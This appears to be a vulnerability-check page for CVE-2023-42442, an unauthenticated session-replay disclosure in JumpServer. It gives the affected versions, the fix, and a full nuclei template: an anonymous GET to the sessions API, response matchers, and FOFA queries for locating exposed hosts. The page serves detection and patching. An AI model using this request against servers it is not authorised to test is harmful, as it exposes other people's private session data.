JumpServer > 3.6.4 - Information Disclosure

mediumseverity

5.3CVSS score

63%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).

Impact

The vulnerability allows an attacker to gain sensitive information from the JumpServer application.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/v1/terminal/sessions/
Positive when: contains "\"terminal\":" and "\"user_id\":\"" and "\"account_id\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-42442 -u <target>

The full check

id: CVE-2023-42442

info:
  name: JumpServer > 3.6.4 - Information Disclosure
  author: xianke
  severity: medium
  description: |
    JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
  reference:
    - https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42442
    - https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
    - https://github.com/Marco-zcl/POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-42442
    cwe-id: CWE-287
    epss-score: 0.63027
    epss-percentile: 0.99206
    cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    fofa-query:
      - title="JumpServer"
      - title="jumpserver"
  tags: cve2023,cve,jumpserver,exposure,fit2cloud,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/terminal/sessions/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"terminal":'
          - '"user_id":"'
          - '"account_id":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from